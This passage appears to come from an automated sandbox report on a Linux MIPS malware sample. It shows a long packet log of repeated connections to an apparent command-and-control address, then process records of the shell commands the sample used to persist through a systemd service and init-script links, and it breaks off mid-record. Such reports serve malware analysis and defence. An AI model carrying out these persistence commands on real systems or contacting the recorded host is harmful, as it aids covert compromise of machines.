                                                                                                Dec 24, 2024 07:49:05.382694006 CET382426010094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:05.769217014 CET6010038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:05.931430101 CET382426010094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:06.390291929 CET382426010094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:06.390410900 CET6010038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:06.770989895 CET6010238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:06.890554905 CET382426010294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:06.890671968 CET6010238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:06.890717983 CET6010238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:07.010317087 CET382426010294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:07.396507978 CET6010238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:07.563440084 CET382426010294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:08.014446974 CET382426010294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:08.014611959 CET6010238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:08.398072958 CET6010438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:08.517652988 CET382426010494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:08.517735958 CET6010438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:08.517806053 CET6010438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:08.638411045 CET382426010494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:09.023869991 CET6010438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:09.187448025 CET382426010494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:09.659466028 CET382426010494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:09.659677982 CET6010438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:10.025840998 CET6010638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:10.145893097 CET382426010694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:10.146120071 CET6010638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:10.146120071 CET6010638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:10.265935898 CET382426010694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:10.652280092 CET6010638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:10.815399885 CET382426010694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:11.283377886 CET382426010694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:11.283610106 CET6010638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:11.653759003 CET6010838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:11.773350000 CET382426010894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:11.773574114 CET6010838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:11.773574114 CET6010838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:11.893101931 CET382426010894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:12.279768944 CET6010838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:12.439527035 CET382426010894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:12.785489082 CET42836443192.168.2.2391.189.91.43
                                                                                                Dec 24, 2024 07:49:12.919711113 CET382426010894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:12.919912100 CET6010838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:13.281737089 CET6011038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:13.401360989 CET382426011094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:13.401506901 CET6011038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:13.401712894 CET6011038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:13.522002935 CET382426011094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:13.908807993 CET6011038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:14.071656942 CET382426011094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:14.538220882 CET382426011094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:14.538427114 CET6011038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:14.910654068 CET6011238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:15.030241013 CET382426011294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:15.030352116 CET6011238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:15.030519009 CET6011238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:15.149996042 CET382426011294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:15.536468983 CET6011238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:15.701072931 CET382426011294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:16.166022062 CET382426011294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:16.166285038 CET6011238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:16.538048983 CET6011438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:16.657820940 CET382426011494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:16.657917023 CET6011438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:16.658096075 CET6011438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:16.777913094 CET382426011494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:17.164144039 CET6011438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:17.331537008 CET382426011494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:17.788410902 CET382426011494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:17.788655996 CET6011438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:18.166134119 CET6011638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:18.285914898 CET382426011694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:18.286174059 CET6011638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:18.286174059 CET6011638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:18.405710936 CET382426011694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:18.792550087 CET6011638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:18.955540895 CET382426011694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:19.417315960 CET382426011694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:19.417525053 CET6011638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:19.794493914 CET6011838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:19.914244890 CET382426011894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:19.914613008 CET6011838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:19.914613962 CET6011838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:20.035264969 CET382426011894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:20.422337055 CET6011838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:20.583574057 CET382426011894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:20.665864944 CET382426009294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:20.666054964 CET6009238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:21.043962955 CET382426011894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:21.044289112 CET6011838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:21.424309969 CET6012038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:21.544039011 CET382426012094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:21.544256926 CET6012038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:21.544256926 CET6012038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:21.663784027 CET382426012094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:22.051459074 CET6012038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:22.211560011 CET382426012094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:22.666861057 CET382426012094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:22.667058945 CET6012038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:23.053471088 CET6012238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:23.175873041 CET382426012294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:23.176199913 CET6012238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:23.176199913 CET6012238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:23.295806885 CET382426012294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:23.685386896 CET6012238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:23.847500086 CET382426012294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:24.295681953 CET382426012294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:24.295824051 CET6012238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:24.687479019 CET6012438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:24.807077885 CET382426012494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:24.807300091 CET6012438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:24.807393074 CET6012438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:24.926809072 CET382426012494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:25.313477993 CET6012438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:25.479509115 CET382426012494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:25.932059050 CET382426012494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:25.932235956 CET6012438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:26.315023899 CET6012638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:26.434535980 CET382426012694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:26.434606075 CET6012638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:26.434623003 CET6012638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:26.554127932 CET382426012694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:26.939138889 CET6012638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:27.103903055 CET382426012694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:27.556726933 CET382426012694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:27.556840897 CET6012638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:27.940273046 CET6012838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:28.059887886 CET382426012894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:28.060067892 CET6012838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:28.060067892 CET6012838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:28.179616928 CET382426012894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:28.564496994 CET6012838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:28.727487087 CET382426012894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:29.209300041 CET382426012894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:29.209614038 CET6012838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:29.565720081 CET6013038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:29.685347080 CET382426013094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:29.685503960 CET6013038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:29.685504913 CET6013038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:29.805223942 CET382426013094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:30.190459013 CET6013038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:30.351512909 CET382426013094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:30.801657915 CET382426013094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:30.801927090 CET6013038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:31.191454887 CET6013238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:31.311136007 CET382426013294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:31.311245918 CET6013238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:31.311270952 CET6013238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:31.430700064 CET382426013294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:31.815480947 CET6013238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:31.979676008 CET382426013294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:32.423098087 CET382426013294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:32.423366070 CET6013238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:32.816442966 CET6013438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:32.936131954 CET382426013494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:32.936268091 CET6013438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:32.936285973 CET6013438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:33.055820942 CET382426013494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:33.441109896 CET6013438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:33.603528023 CET382426013494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:34.062839985 CET382426013494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:34.062985897 CET6013438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:34.442766905 CET6013638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:34.562478065 CET382426013694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:34.562566042 CET6013638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:34.562612057 CET6013638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:34.682204008 CET382426013694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:35.068974972 CET6013638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:35.231534004 CET382426013694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:35.692358017 CET382426013694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:35.692456007 CET6013638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:36.070563078 CET6013838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:36.190103054 CET382426013894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:36.190200090 CET6013838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:36.190254927 CET6013838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:36.309741020 CET382426013894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:36.695382118 CET6013838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:36.855485916 CET382426013894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:37.308846951 CET382426013894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:37.308973074 CET6013838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:37.696938038 CET6014038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:37.816498041 CET382426014094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:37.816610098 CET6014038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:37.816611052 CET6014038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:37.936100960 CET382426014094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:38.321264029 CET6014038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:38.487560987 CET382426014094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:38.951282024 CET382426014094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:38.951376915 CET6014038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:39.322484970 CET6014238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:39.441989899 CET382426014294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:39.442070961 CET6014238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:39.442147970 CET6014238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:39.561556101 CET382426014294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:39.947053909 CET6014238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:40.111824036 CET382426014294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:40.557306051 CET382426014294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:40.557414055 CET6014238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:40.948286057 CET6014438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:41.068440914 CET382426014494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:41.068528891 CET6014438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:41.068562984 CET6014438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:41.188355923 CET382426014494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:41.573268890 CET6014438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:41.735707998 CET382426014494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:42.204973936 CET382426014494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:42.205131054 CET6014438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:42.574928045 CET6014638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:42.694588900 CET382426014694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:42.694725990 CET6014638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:42.694780111 CET6014638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:42.814338923 CET382426014694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:43.201054096 CET6014638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:43.363977909 CET382426014694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:43.816788912 CET382426014694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:43.816967964 CET6014638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:44.203890085 CET6014838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:44.323997974 CET382426014894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:44.324294090 CET6014838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:44.324374914 CET6014838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:44.444075108 CET382426014894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:44.831391096 CET6014838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:44.991631985 CET382426014894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:45.442123890 CET382426014894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:45.442351103 CET6014838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:45.833354950 CET6015038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:45.953217030 CET382426015094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:45.953399897 CET6015038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:45.953453064 CET6015038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:46.072978020 CET382426015094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:46.460391045 CET6015038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:46.623703957 CET382426015094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:47.462491989 CET6015238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:47.582060099 CET382426015294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:47.582258940 CET6015238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:47.582298994 CET6015238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:47.701833963 CET382426015294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:48.089133024 CET6015238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:48.255701065 CET382426015294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:48.704956055 CET382426015294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:48.705044031 CET6015238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:49.090797901 CET6015438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:49.210747957 CET382426015494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:49.210870028 CET6015438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:49.210947037 CET6015438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:49.330446005 CET382426015494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:49.717753887 CET6015438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:49.879667997 CET382426015494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:50.330174923 CET382426015494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:50.330439091 CET6015438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:50.719705105 CET6015638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:50.839340925 CET382426015694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:50.839632034 CET6015638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:50.839730024 CET6015638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:50.959254980 CET382426015694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:51.346762896 CET6015638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:51.507631063 CET382426015694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:51.967159986 CET382426015694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:51.967367887 CET6015638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:52.348532915 CET6015838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:52.468100071 CET382426015894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:52.468271971 CET6015838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:52.468354940 CET6015838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:52.587910891 CET382426015894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:52.975131035 CET6015838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:53.135643005 CET382426015894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:53.589677095 CET382426015894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:53.589925051 CET6015838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:53.977174997 CET6016038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:54.096734047 CET382426016094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:54.096852064 CET6016038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:54.097079039 CET6016038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:54.216788054 CET382426016094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:54.604017019 CET6016038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:54.763736010 CET382426016094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:55.233042955 CET382426016094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:55.233194113 CET6016038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:55.605839014 CET6016238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:55.725533962 CET382426016294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:55.725681067 CET6016238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:55.725724936 CET6016238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:55.845366955 CET382426016294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:56.232667923 CET6016238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:56.395781994 CET382426016294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:56.855067015 CET382426016294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:56.855164051 CET6016238242192.168.2.2394.156.227.234

                                                                                                System Behavior

                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:/tmp/mips.nn.elf
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:-
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:sh -c "systemctl enable custom.service >/dev/null 2>&1"
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:-
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/bin/systemctl
                                                                                                Arguments:systemctl enable custom.service
                                                                                                File size:996584 bytes
                                                                                                MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:-
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:-
                                                                                                File size:129816 bytes
                                                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/usr/bin/chmod
                                                                                                Arguments:chmod +x /etc/init.d/system
                                                                                                File size:63864 bytes
                                                                                                MD5 hash:739483b900c045ae1374d6f53a86a279

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/tmp/mips.nn.elf
                                                                                                Arguments:-
                                                                                                File size:5777432 bytes
                                                                                                MD5 hash:0083f1f0e77be34ad27f849842bbb00c

                                                                                                Chronological Activities


                                                                                                General

                                                                                                Start time (UTC):06:47:50
                                                                                                Start date (UTC):24/12/2024
                                                                                                Path:/bin/sh
                                                                                                Arguments:sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
                                                                                                File size:129816 bytes
